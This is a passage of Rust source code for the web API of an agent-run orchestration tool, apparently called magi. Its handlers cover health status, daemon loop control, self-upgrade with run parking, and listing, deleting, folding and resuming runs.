1797 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1798}
1799
1800async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1824 loop {
1825 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1826 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1827 if !should_spawn_recheck(&cfg.update) {
1828 continue;
1829 }
1830 let Some(checker) = updater::Checker::new(&cfg.update) else {
1831 continue;
1832 };
1833 let progress = updater::read_progress(&home);
1834 if !update_recheck_due(&checker, progress.as_ref()) {
1835 continue;
1836 }
1837 if let Err(e) = checker.newer_release().await {
1838 tracing::warn!("background update recheck failed: {e:#}");
1839 }
1840 }
1841}
1842
1843fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
1849 let default;
1850 let cfg = match cfg {
1851 Some(cfg) => cfg,
1852 None => {
1853 default = Config::default();
1854 &default
1855 }
1856 };
1857 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1858 match latest {
1859 Some(latest) => UpdateView {
1860 available: true,
1861 to: Some(latest.tag_name),
1862 },
1863 None => UpdateView {
1864 available: false,
1865 to: None,
1866 },
1867 }
1868}
1869
1870fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1876 let waiting_on = (progress.stage == updater::Stage::Parking)
1877 .then_some(progress.parked_run.as_deref())
1878 .flatten()
1879 .and_then(|id| read_run(&ui.runs, id).ok())
1880 .map(|run| {
1881 format!(
1882 "run {} is finishing {} before the address is handed over",
1883 run.short(),
1884 run.status.as_str()
1885 )
1886 });
1887 let detail = progress
1888 .detail
1889 .clone()
1890 .or_else(|| updater::read_note(&ui.home, &progress));
1891 let stalled = updater::stall(&progress, Timestamp::now());
1892 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
1893 UpgradeProgressView {
1894 stuck_for_secs: stalled.map(|s| s.age_secs),
1895 stage: progress.stage,
1896 from: progress.from,
1897 to: progress.to,
1898 waiting_on,
1899 started_at: progress.started_at,
1900 updated_at: progress.updated_at,
1901 detail,
1902 }
1903}
1904
1905#[derive(Debug, Serialize)]
1910struct DiskView {
1911 #[serde(skip_serializing_if = "Option::is_none")]
1913 free_bytes: Option<u64>,
1914 runs_bytes: u64,
1916 worktrees_bytes: u64,
1918 #[serde(skip_serializing_if = "Option::is_none")]
1920 cache_bytes: Option<u64>,
1921}
1922
1923impl DiskView {
1924 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
1926 let cache_bytes = cfg
1927 .and_then(|cfg| cfg.cache_dir())
1928 .map(|dir| crate::disk::dir_size(&dir));
1929 Self {
1930 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1931 runs_bytes: crate::disk::dir_size(&ui.runs),
1932 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1933 cache_bytes,
1934 }
1935 }
1936}
1937
1938#[derive(Debug, Serialize)]
1940struct DaemonView {
1941 running: bool,
1942 idle: Option<bool>,
1943 pid: Option<u32>,
1944 current: Vec<daemon::Current>,
1948 completed: Option<u64>,
1949 stale_for_secs: Option<i64>,
1950}
1951
1952impl DaemonView {
1953 fn of(status: Option<daemon::Reading>) -> Self {
1957 let Some(status) = status else {
1958 return Self {
1959 running: false,
1960 idle: None,
1961 pid: None,
1962 current: Vec::new(),
1963 completed: None,
1964 stale_for_secs: None,
1965 };
1966 };
1967 let now = Timestamp::now();
1968 let age = status.age_secs(now);
1969 Self {
1970 running: status.running(now),
1971 idle: Some(status.idle),
1972 pid: status.pid,
1973 current: status.current,
1974 completed: Some(status.completed),
1975 stale_for_secs: age,
1976 }
1977 }
1978}
1979
1980async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1981 blocking(move || {
1982 let reading = daemon::read_status(&ui.home);
1986 let loop_rev = ui.lock_loop().rev;
1990 let cfg = deputy_config(&ui.repo);
1993 let update = cached_update_view(cfg.as_ref());
1994 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1995 Ok(Json(HealthView {
1996 version: env!("CARGO_PKG_VERSION"),
1997 home: ui.home.display().to_string(),
1998 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
1999 runs_rev: runs_revision(&ui.runs),
2000 questions_rev: ui.questions.revision(),
2001 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2002 notifications_rev: ui.notices.revision(),
2003 notifications_unread: ui.notices.count_unread(),
2004 loop_rev,
2005 runs_unreadable: runs_unreadable(&ui.runs),
2006 questions_open: ui.questions.count_open(),
2007 questions_needs_owner: ui.questions.count_needs_owner(),
2008 daemon: DaemonView::of(reading.clone()),
2009 looping: ui.loop_view(reading),
2010 disk: DiskView::of(&ui, cfg.as_ref()),
2011 update,
2012 upgrade,
2013 }))
2014 })
2015 .await
2016}
2017
2018#[derive(Debug, Serialize)]
2020struct LoopView {
2021 running: bool,
2023 stopping: bool,
2031 parking: bool,
2039 owned: bool,
2047 repo: String,
2050 merge: Option<String>,
2053 last_error: Option<String>,
2061 daemon: DaemonView,
2064}
2065
2066#[derive(Debug, Clone, Copy)]
2075struct Foreign {
2076 pid: Option<u32>,
2078}
2079
2080impl Foreign {
2081 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2084 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2088 }
2089
2090 fn who(&self) -> String {
2093 match self.pid {
2094 Some(pid) => format!("another magi process (pid {pid})"),
2095 None => "another magi process".to_owned(),
2096 }
2097 }
2098}
2099
2100type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2105
2106fn launch_daemon(
2108 opts: daemon::Opts,
2109 stop: daemon::Stop,
2110) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2111 Box::pin(daemon::serve_until(opts, stop))
2112}
2113
2114#[derive(Debug, Default)]
2116struct LoopState {
2117 live: Option<Live>,
2119 rev: u64,
2127 last_error: Option<String>,
2130 resume_after_handover: bool,
2135}
2136
2137#[derive(Debug)]
2139struct Live {
2140 stop: daemon::Stop,
2142 handle: tokio::task::JoinHandle<()>,
2147 opts: daemon::Opts,
2151}
2152
2153impl Live {
2154 fn alive(&self) -> bool {
2156 !self.handle.is_finished()
2157 }
2158}
2159
2160fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2167 state.lock().unwrap_or_else(PoisonError::into_inner)
2168}
2169
2170async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2172 blocking(move || {
2173 let reading = daemon::read_status(&ui.home);
2174 Ok(Json(ui.loop_view(reading)))
2175 })
2176 .await
2177}
2178
2179#[derive(Debug, Deserialize)]
2185#[serde(deny_unknown_fields)]
2186struct LoopCommand {
2187 running: bool,
2188 #[serde(default)]
2198 park: bool,
2199}
2200
2201async fn loop_post(
2209 State(ui): State<Arc<Ui>>,
2210 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2211) -> ApiResult<Json<LoopView>> {
2212 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2215 blocking(move || {
2216 let reading = daemon::read_status(&ui.home);
2217 let foreign = Foreign::of(reading.as_ref());
2218 if body.running {
2219 ui.start_loop(foreign)?;
2220 } else {
2221 ui.stop_loop(foreign, body.park)?;
2222 }
2223 Ok(Json(ui.loop_view(reading)))
2224 })
2225 .await
2226}
2227
2228#[derive(Debug, Serialize)]
2230struct UpgradeView {
2231 from: String,
2233 to: Option<String>,
2235 parked: Option<String>,
2237 detail: String,
2239}
2240
2241async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2265 let reading = daemon::read_status(&ui.home);
2266 if let Some(other) = Foreign::of(reading.as_ref()) {
2267 return Err(ApiError::conflict(format!(
2268 "the loop belongs to {}, so replacing this binary would leave \
2269 that process running an old one against the same queue. Upgrade \
2270 where it was started.",
2271 other.who()
2272 )));
2273 }
2274
2275 if crate::updater::disabled_by_env() {
2281 return Ok((
2282 StatusCode::OK,
2283 Json(UpgradeView {
2284 from: env!("CARGO_PKG_VERSION").to_owned(),
2285 to: None,
2286 parked: None,
2287 detail: format!(
2288 "Automatic updates are disabled by {}. Nothing was parked \
2289 and nothing restarted.",
2290 crate::updater::NO_AUTOUPDATE_ENV
2291 ),
2292 }),
2293 ));
2294 }
2295
2296 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2301 let from = env!("CARGO_PKG_VERSION").to_owned();
2302 let latest = match crate::updater::Checker::new(&cfg.update) {
2303 Some(checker) => checker
2304 .newer_release()
2305 .await
2306 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2307 None => None,
2308 };
2309 let Some(latest) = latest else {
2310 return Ok((
2311 StatusCode::OK,
2312 Json(UpgradeView {
2313 from,
2314 to: None,
2315 parked: None,
2316 detail: "Already on the newest release. Nothing was parked \
2317 and nothing restarted."
2318 .to_owned(),
2319 }),
2320 ));
2321 };
2322
2323 let parked = ui.park_for_upgrade()?;
2326 let detail = match &parked {
2327 Some(run) => format!(
2332 "Run {} is parking at its next step, which can take as long as \
2333 the step it is on - up to an hour for an implement wave. The \
2334 deck replaces itself once it parks, comes back, and the loop \
2335 carries that run on from where it stopped. Nothing is lost if \
2336 you close this.",
2337 crate::run::short_of(run)
2338 ),
2339 None => "The deck replaces itself and comes back. Nothing was in \
2340 flight to park."
2341 .to_owned(),
2342 };
2343
2344 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2348 progress.parked_run = parked.clone();
2349 let _ = updater::write_progress(&ui.home, &progress);
2350
2351 let home = ui.home.clone();
2352 let looping = ui.looping();
2353 tokio::spawn(async move {
2354 if let Err(e) = upgrade_and_restart(home.clone()).await {
2355 tracing::error!("the upgrade did not complete: {e:#}");
2356 lock_or_recover(&looping).resume_after_handover = false;
2357 if let Some(mut progress) = updater::read_progress(&home) {
2358 progress.fail(format!("{e:#}"));
2359 let _ = updater::write_progress(&home, &progress);
2360 }
2361 }
2362 });
2363
2364 Ok((
2365 StatusCode::ACCEPTED,
2366 Json(UpgradeView {
2367 from,
2368 to: Some(latest.tag_name),
2369 parked,
2370 detail,
2371 }),
2372 ))
2373}
2374
2375async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2380 crate::updater::run_self_update(true, false, true).await?;
2383 updater::log_step(&home, "binary replaced - recording the replaced stage");
2384 if let Some(mut progress) = updater::read_progress(&home) {
2385 progress.advance(updater::Stage::Replaced);
2386 updater::write_progress_logged(&home, &progress);
2387 }
2388 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2389 HANDOVER.notify_one();
2390 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2391 Ok(())
2392}
2393
2394#[derive(Debug, Serialize)]
2400struct RunSummary {
2401 id: String,
2402 short: String,
2403 status: String,
2404 done: bool,
2405 instruction: String,
2406 title: String,
2407 repo: String,
2408 repo_name: String,
2409 created_at: String,
2410 updated_at: String,
2411 candidates: usize,
2412 viable: usize,
2413 judges: usize,
2414 winner: Option<char>,
2415 reviews: usize,
2416 quota_losses: usize,
2417 event: Option<String>,
2418 superseded_by: Option<String>,
2423 waiting: bool,
2430 live: crate::run::Liveness,
2434 pr: Option<crate::run::PrRecord>,
2436 unmerged_by_design: bool,
2442 origin_label: String,
2445}
2446
2447impl RunSummary {
2448 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2449 Self {
2450 id: state.id.clone(),
2451 short: state.short().to_owned(),
2452 status: status_word(state.status),
2453 done: state.status.done(),
2454 unmerged_by_design: state.unmerged_by_design(),
2455 instruction: state.instruction.clone(),
2456 title: title_from(&state.instruction, TITLE_MAX),
2457 repo: state.repo.display().to_string(),
2458 repo_name: state
2459 .repo
2460 .file_name()
2461 .map(|n| n.to_string_lossy().into_owned())
2462 .unwrap_or_default(),
2463 created_at: state.created_at.to_string(),
2464 updated_at: state.updated_at.to_string(),
2465 candidates: state.candidates.len(),
2466 viable: state.viable().len(),
2467 judges: state.config.graph.judges,
2468 winner: state.winner().map(|c| c.label),
2469 reviews: state.reviews.len(),
2470 quota_losses: state.quota.len(),
2471 event: state.events.last().map(|e| e.message.clone()),
2472 waiting,
2473 live,
2474 superseded_by: None,
2477 pr: state.pr.clone(),
2478 origin_label: crate::run::origin_label(state.origin.as_ref()),
2479 }
2480 }
2481}
2482
2483fn status_word(status: RunStatus) -> String {
2486 status.as_str().to_owned()
2490}
2491
2492#[derive(Debug, Deserialize)]
2494struct ListQuery {
2495 #[serde(default)]
2496 limit: Option<usize>,
2497 ids: Option<String>,
2499}
2500
2501impl ListQuery {
2502 fn contains(&self, id: &str) -> bool {
2503 self.ids
2504 .as_ref()
2505 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2506 }
2507}
2508
2509async fn runs_list(
2510 State(ui): State<Arc<Ui>>,
2511 Query(q): Query<ListQuery>,
2512) -> ApiResult<Json<Vec<RunSummary>>> {
2513 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2514 blocking(move || {
2515 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2516 let states = run_ids(&ui.runs)
2517 .into_iter()
2518 .filter_map(|id| read_run(&ui.runs, &id).ok())
2523 .take(limit)
2524 .filter(|run| q.contains(&run.id));
2525 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2526 let summaries = summarize(
2527 states,
2528 &open_runs,
2529 &claimed,
2530 &superseded,
2531 |p| probe.borrow_mut().status(p),
2532 |p| probe.borrow_mut().started_at(p),
2533 );
2534 Ok(Json(summaries))
2535 })
2536 .await
2537}
2538
2539fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2544 let open_runs: HashSet<String> = ui
2545 .questions
2546 .list()
2547 .into_iter()
2548 .filter(|q| q.status.open())
2549 .map(|q| q.run)
2550 .collect();
2551 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2552 .into_iter()
2553 .map(|c| c.run)
2554 .collect();
2555 (open_runs, claimed, ui.queue.superseded())
2556}
2557
2558fn summarize<I, S, D>(
2564 states: I,
2565 open_runs: &HashSet<String>,
2566 claimed: &HashSet<String>,
2567 superseded: &HashMap<String, String>,
2568 mut status_q: S,
2569 mut identity_q: D,
2570) -> Vec<RunSummary>
2571where
2572 I: IntoIterator<Item = RunState>,
2573 S: FnMut(u32) -> Option<bool>,
2574 D: FnMut(u32) -> Option<String>,
2575{
2576 states
2577 .into_iter()
2578 .map(|state| {
2579 let waiting = open_runs.contains(&state.id);
2580 let live =
2581 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2582 let mut row = RunSummary::of(&state, waiting, live);
2583 row.superseded_by = superseded
2584 .get(&state.id)
2585 .map(String::as_str)
2586 .map(crate::run::short_of)
2587 .map(str::to_owned);
2588 row
2589 })
2590 .collect()
2591}
2592
2593#[derive(Debug, Serialize)]
2600struct RunDetailView {
2601 #[serde(flatten)]
2602 state: RunState,
2603 instruction_md: Vec<md::Node>,
2604 #[serde(flatten)]
2608 prose_md: RunProseMd,
2609 live: crate::run::Liveness,
2624 unmerged_by_design: bool,
2629 done: bool,
2634 superseded_by: Option<String>,
2642 latest_attempt: Option<LatestAttempt>,
2656 task: Option<TaskRef>,
2659 origin_label: String,
2663}
2664
2665#[derive(Debug, Serialize)]
2667struct TaskRef {
2668 id: String,
2669 short: String,
2670 title: String,
2671 source_label: String,
2673 source_link: Option<SourceLink>,
2675 status: &'static str,
2677 attempts: usize,
2678 max_attempts: usize,
2679 is_latest: bool,
2681 latest: Option<RunBrief>,
2683 finished_by: Option<RunBrief>,
2685 closed_by_hand: bool,
2687}
2688
2689#[derive(Debug, PartialEq, Eq, Serialize)]
2691struct SourceLink {
2692 kind: &'static str,
2694 id: String,
2696 href: String,
2698}
2699
2700fn encode_segment(raw: &str) -> String {
2702 let mut out = String::with_capacity(raw.len());
2703 for b in raw.bytes() {
2704 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2705 out.push(b as char);
2706 } else {
2707 out.push_str(&format!("%{b:02X}"));
2708 }
2709 }
2710 out
2711}
2712
2713fn source_link(source: &Source) -> Option<SourceLink> {
2717 let Source::Agent { run, node } = source else {
2718 return None;
2719 };
2720 let (kind, route) = if node == crate::queue::CHAT_NODE {
2721 ("chat", "chat")
2722 } else {
2723 ("run", "runs")
2724 };
2725 Some(SourceLink {
2726 kind,
2727 id: run.clone(),
2728 href: format!("#/{route}/{}", encode_segment(run)),
2729 })
2730}
2731
2732#[derive(Debug, Serialize)]
2734struct RunBrief {
2735 id: String,
2736 short: String,
2737 status: Option<&'static str>,
2739 outcome: String,
2741}
2742
2743fn task_outcome(
2746 task: &Task,
2747 this_run: &str,
2748 max_attempts: usize,
2749 read: impl Fn(&str) -> Option<RunState>,
2750) -> TaskRef {
2751 let history = task_history(task, read);
2752 let brief = |h: &TaskRunView| RunBrief {
2753 id: h.id.clone(),
2754 short: h.short.clone(),
2755 status: h.status,
2756 outcome: h.exit.edge_label(h.status),
2757 };
2758 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2759 let latest = if is_latest {
2760 None
2761 } else {
2762 history.last().map(brief)
2763 };
2764 let done = task.status == TaskStatus::Done;
2765 let finished_by = done
2766 .then(|| {
2767 history
2768 .iter()
2769 .rev()
2770 .find(|h| {
2771 matches!(
2772 h.exit,
2773 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2774 )
2775 })
2776 .map(brief)
2777 })
2778 .flatten();
2779 TaskRef {
2780 short: task.short().to_owned(),
2781 title: task.title.clone(),
2782 id: task.id.clone(),
2783 source_label: task.source.label(),
2784 source_link: source_link(&task.source),
2785 status: task.status.as_str(),
2786 attempts: task.attempts,
2787 max_attempts,
2788 is_latest,
2789 latest,
2790 closed_by_hand: done && finished_by.is_none(),
2791 finished_by,
2792 }
2793}
2794
2795#[derive(Debug, Serialize)]
2797struct LatestAttempt {
2798 id: String,
2799 short: String,
2800 resolved: bool,
2811 status: RunStatus,
2814 done: bool,
2816}
2817
2818#[derive(Debug, Default, Serialize)]
2820struct RunProseMd {
2821 advice_md: Option<AdviceMd>,
2823 candidate_summaries_md: Vec<Vec<md::Node>>,
2825 reviews_md: Vec<RoundMd>,
2827}
2828
2829#[derive(Debug, Default, Serialize)]
2830struct AdviceMd {
2831 synthesis: Vec<md::Node>,
2832 approaches: Vec<Vec<md::Node>>,
2834}
2835
2836#[derive(Debug, Default, Serialize)]
2837struct RoundMd {
2838 reviewers: Vec<ReviewerMd>,
2840 reconsideration: Vec<Vec<md::Node>>,
2842 fix: Option<FixMd>,
2843}
2844
2845#[derive(Debug, Default, Serialize)]
2846struct ReviewerMd {
2847 summary: Vec<md::Node>,
2848 findings: Vec<Vec<md::Node>>,
2850}
2851
2852#[derive(Debug, Default, Serialize)]
2853struct FixMd {
2854 notes: Vec<md::Node>,
2855 rejected: Vec<Vec<md::Node>>,
2857}
2858
2859fn run_prose_md(state: &RunState) -> RunProseMd {
2861 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
2862 RunProseMd {
2863 advice_md: state.advice.as_ref().map(|a| AdviceMd {
2864 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
2865 approaches: a
2866 .records
2867 .iter()
2868 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
2869 .collect(),
2870 }),
2871 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
2872 reviews_md: state
2873 .reviews
2874 .iter()
2875 .map(|round| RoundMd {
2876 reviewers: round
2877 .reviews
2878 .iter()
2879 .map(|rec| ReviewerMd {
2880 summary: nodes(&rec.summary),
2881 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
2882 })
2883 .collect(),
2884 reconsideration: round
2885 .reconsideration
2886 .iter()
2887 .map(|rv| nodes(&rv.reason))
2888 .collect(),
2889 fix: round.fix.as_ref().map(|fix| FixMd {
2890 notes: nodes(&fix.notes),
2891 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
2892 }),
2893 })
2894 .collect(),
2895 }
2896}
2897
2898impl RunDetailView {
2899 fn of(
2900 state: RunState,
2901 live: crate::run::Liveness,
2902 superseded_by: Option<String>,
2903 latest_attempt: Option<LatestAttempt>,
2904 task: Option<TaskRef>,
2905 ) -> Self {
2906 Self {
2907 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2908 prose_md: run_prose_md(&state),
2909 origin_label: crate::run::origin_label(state.origin.as_ref()),
2910 live,
2911 unmerged_by_design: state.unmerged_by_design(),
2912 done: state.status.done(),
2913 superseded_by,
2914 latest_attempt,
2915 task,
2916 state,
2917 }
2918 }
2919}
2920
2921async fn run_detail(
2922 State(ui): State<Arc<Ui>>,
2923 Path(id): Path<String>,
2924) -> ApiResult<Json<RunDetailView>> {
2925 blocking(move || {
2926 let id = resolve_run(&ui.runs, &id)?;
2927 let state = read_run(&ui.runs, &id)?;
2928 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2929 let live = state.liveness(daemon_claims);
2930 let superseded_by = ui
2931 .queue
2932 .superseded_by(&id)
2933 .as_deref()
2934 .map(crate::run::short_of)
2935 .map(str::to_owned);
2936 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2940 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2941 short: head.short().to_owned(),
2942 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2943 status: head.status,
2944 done: head.status.done(),
2945 id: head.id,
2946 })
2947 });
2948 let max_attempts = daemon::Opts::default().max_attempts;
2949 let task = ui
2950 .queue
2951 .list()
2952 .into_iter()
2953 .find(|t| t.runs.contains(&id))
2954 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
2955 Ok(Json(RunDetailView::of(
2956 state,
2957 live,
2958 superseded_by,
2959 latest_attempt,
2960 task,
2961 )))
2962 })
2963 .await
2964}
2965
2966async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2975 let (id, unreadable) = {
2976 let ui = Arc::clone(&ui);
2977 blocking(move || {
2978 let id = resolve_run(&ui.runs, &id)?;
2979 match read_run(&ui.runs, &id) {
2980 Ok(state) => {
2981 let in_flight =
2982 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2983 state
2984 .ensure_can_delete(in_flight)
2985 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2986 let dir = ui.runs.join(&id);
2987 std::fs::remove_dir_all(&dir)
2988 .with_context(|| format!("remove run directory {}", dir.display()))?;
2989 Ok((id, false))
2990 }
2991 Err(_) => {
2992 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2996 return Err(ApiError::conflict(format!(
2997 "run {id} is being worked on by a live daemon right now"
2998 )));
2999 }
3000 Ok((id, true))
3001 }
3002 }
3003 })
3004 .await?
3005 };
3006 if unreadable {
3007 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3008 .await
3009 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3010 }
3011 let ui = Arc::clone(&ui);
3012 let done = id.clone();
3013 blocking(move || {
3014 ui.questions.abandon_for_run(
3017 &done,
3018 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3019 )?;
3020 Ok(())
3021 })
3022 .await?;
3023 Ok(StatusCode::NO_CONTENT)
3024}
3025
3026async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3050 let (id, state) = {
3051 let ui = Arc::clone(&ui);
3052 blocking(move || {
3053 let id = resolve_run(&ui.runs, &id)?;
3054 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3055 return Err(ApiError::conflict(format!(
3056 "run {id} is being worked on by a live daemon right now"
3057 )));
3058 }
3059 let state = read_run(&ui.runs, &id).ok();
3060 Ok((id, state))
3061 })
3062 .await?
3063 };
3064 let removed = match state {
3065 Some(mut state) => {
3066 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3067 .await
3068 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3069 if removed.is_empty() {
3074 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3075 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3076 }
3077 removed
3078 }
3079 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3080 .await
3081 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3082 };
3083 Ok(Json(FoldView {
3084 run: id,
3085 removed_count: removed.len(),
3086 removed,
3087 }))
3088}
3089
3090#[derive(Debug, Serialize)]
3092struct FoldView {
3093 run: String,
3094 removed: Vec<String>,
3096 removed_count: usize,
3097}
3098
3099#[derive(Debug, Deserialize)]
3102struct FoldMergedBody {
3103 #[serde(default)]
3104 pr_url: String,
3105}
3106
3107async fn run_fold_merged(
3127 State(ui): State<Arc<Ui>>,
3128 Path(id): Path<String>,
3129 Json(body): Json<FoldMergedBody>,
3130) -> ApiResult<Json<FoldMergedView>> {
3131 let pr_url = body.pr_url.trim().to_owned();
3132 if pr_url.is_empty() {
3133 return Err(ApiError::bad_request("pr_url is required"));
3134 }
3135 let (id, mut state) = {
3136 let ui = Arc::clone(&ui);
3137 blocking(move || {
3138 let id = resolve_run(&ui.runs, &id)?;
3139 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3140 return Err(ApiError::conflict(format!(
3141 "run {id} is being worked on by a live daemon right now"
3142 )));
3143 }
3144 let state = read_run(&ui.runs, &id)?;
3145 Ok((id, state))
3146 })
3147 .await?
3148 };
3149 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3150 .await
3151 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3152 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3153 .await
3154 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3155 Ok(Json(FoldMergedView {
3156 run: id,
3157 before: before.as_str().to_owned(),
3158 after: after.as_str().to_owned(),
3159 removed,
3160 }))
3161}
3162
3163#[derive(Debug, Serialize)]
3165struct FoldMergedView {
3166 run: String,
3167 before: String,
3169 after: String,
3171 removed: Vec<String>,
3173}
3174
3175async fn run_resume(
3195 State(ui): State<Arc<Ui>>,
3196 Path(id): Path<String>,
3197) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3198 let (id, state) = {
3199 let ui = Arc::clone(&ui);
3200 blocking(move || {
3201 let id = resolve_run(&ui.runs, &id)?;
3202 let state = read_run(&ui.runs, &id)?;
3203 Ok((id, state))
3204 })
3205 .await?
3206 };
3207 if let Some(to) = &state.released_to {
3208 return Err(ApiError::conflict(format!(
3209 "run {} can no longer be resumed: its worktree was released to run {}, which \
3210 took the branch over.",
3211 state.short(),
3212 crate::run::short_of(to)
3213 )));
3214 }
3215 if !state.status.resumable() {
3216 return Err(ApiError::conflict(format!(
3217 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3218 state.short(),
3219 status_word(state.status)
3220 )));
3221 }
3222 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3227 .into_iter()
3228 .next()
3229 {
3230 return Err(ApiError::conflict(format!(
3231 "the loop is running run {} right now; stop it first, or wait for \
3232 it to finish, before resuming a run by hand.",
3233 crate::run::short_of(&work.run)
3234 )));
3235 }
3236 let _resume = ui.begin_resume(&id)?;
3237
3238 let queued = RunSummary::of(
3241 &state,
3242 !ui.questions.open_for(&id).is_empty(),
3243 state.liveness(false),
3244 );
3245 let run = id.clone();
3246 tokio::spawn(async move {
3247 let _resume = _resume;
3248 match crate::graph::Runner::resume(&run) {
3249 Ok(mut runner) => {
3250 if let Err(e) = runner.execute().await {
3251 tracing::warn!("resume of run {run} stopped: {e:#}");
3252 }
3253 }
3254 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3257 }
3258 });
3259 Ok((StatusCode::ACCEPTED, Json(queued)))
3260}
3261
3262async fn run_report(
3263 State(ui): State<Arc<Ui>>,
3264 Path(id): Path<String>,
3265) -> ApiResult<impl IntoResponse> {
3266 let text = blocking(move || {
3267 let id = resolve_run(&ui.runs, &id)?;
3268 let state = read_run(&ui.runs, &id)?;
3272 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3273 let live = state.liveness(daemon_claims);
3274 Ok(format!(
3275 "{}{}",
3276 report::run(&state),
3277 report::active_seats(&state, live)
3278 ))
3279 })
3280 .await?;
3281 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3282}
3283
3284async fn run_report_json(
3288 State(ui): State<Arc<Ui>>,
3289 Path(id): Path<String>,
3290) -> ApiResult<Json<crate::report_view::RunReportView>> {
3291 let view = blocking(move || {
3292 let id = resolve_run(&ui.runs, &id)?;
3293 let state = read_run(&ui.runs, &id)?;
3294 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3295 Ok(crate::report_view::build(
3296 &state,
3297 state.liveness(daemon_claims),
3298 ))
3299 })
3300 .await?;
3301 Ok(Json(view))
3302}
3303
3304#[derive(Debug, Serialize)]
3310struct TaskView {
3311 #[serde(flatten)]
3312 task: Task,
3313 source_label: String,
3314 source_link: Option<SourceLink>,
3315 status_str: &'static str,
3316 instruction_md: Vec<md::Node>,
3320 waits_on: Vec<String>,
3324 stuck_roots: Vec<String>,
3327}
